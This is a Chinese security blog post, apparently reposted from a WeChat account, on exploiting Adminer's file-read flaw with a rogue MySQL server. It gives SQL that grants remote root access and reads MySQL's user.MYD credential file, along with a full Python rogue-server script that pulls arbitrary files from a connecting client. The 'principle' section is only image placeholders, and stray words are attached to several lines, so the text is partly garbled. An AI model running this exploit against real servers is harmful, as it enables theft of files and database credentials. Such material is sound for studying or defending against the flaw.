請勿利用文章內的相關技術從事非法測試,如所以產生的一切不良後果與文章做者和本公衆號無關。php |
0x01 前言
html
Adminer是一款輕量級的Web端數據庫管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等衆多主流數據庫,相似於phpMyAdmin的MySQL管理客戶端,整個程序只有一個PHP文件,易於使用安裝,支持鏈接遠程數據庫,https://github.com/vrana/adminer 。python
![](http://static.javashuo.com/static/loading.gif)
0x02 漏洞原理mysql
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
0x03 漏洞復現git
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;grant all privileges on *.* to 'root'@'%'; //MySQL8開啓外鏈
root@kali:/tmp# python mysql_client.py "D:\phpStudy\PHPTutorial\WWW\av\1.php"
![](http://static.javashuo.com/static/loading.gif)
create database adminer; //建立adminer數據庫use adminer; //進入adminer數據庫create table test(text text(4096)); //建立test數據表
![](http://static.javashuo.com/static/loading.gif)
執行如下SQL語句便可讀取指定文件並將讀取到的文件內容寫入到剛建立的數據表裏,不過得注意一下目標機的secure_file_priv選項,當它的值爲null時就會讀取不了文件了。github
load data local infile "D:\\phpStudy\\PHPTutorial\\MySQL\\data\\mysql\\user.MYD" into table test FIELDS TERMINATED BY '\n';
![](http://static.javashuo.com/static/loading.gif)
select * from test; //查看test表內容truncate table test; //清空test表內容drop database adminer; //刪除adminer數據庫
0x04 利用程序web
#coding=utf-8 import socketimport loggingimport syslogging.basicConfig(level=logging.DEBUG)
filename=sys.argv[1]sv=socket.socket()sv.setsockopt(1,2,1)sv.bind(("",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")conn.recv(9999)logging.info("auth okay")conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")conn.recv(9999)logging.info("want file...")wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close()
0x05 參考連接sql
https://xz.aliyun.com/t/3973數據庫
https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html安全
本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。